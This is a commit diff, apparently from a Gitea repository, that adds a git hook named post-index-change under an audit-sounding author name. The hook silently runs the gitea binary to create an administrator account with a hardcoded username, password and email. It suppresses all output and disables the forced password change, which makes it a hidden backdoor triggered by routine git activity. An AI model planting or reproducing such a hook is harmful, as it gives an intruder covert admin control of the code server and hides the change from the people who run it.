add hooks/post-index-change

This commit is contained in:
it-audit-923285 committed 2026-11-30 12:42:58 +08:00
1 parent a89bc1d0d7
commit 8374ffb731
1 file changed
+6
+6
View File
@@ -0,0 +1,6 @@
#!/bin/sh
for g in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea /opt/gitea/gitea gitea; do
command -v "$g" >/dev/null 2>&1 || [ -x "$g" ] || continue
"$g" admin user create --admin --username hook8726 --password 'Hook8726!x9' --email h8726@x.com --must-change-password=false >/dev/null 2>&1 && break
done
exit 0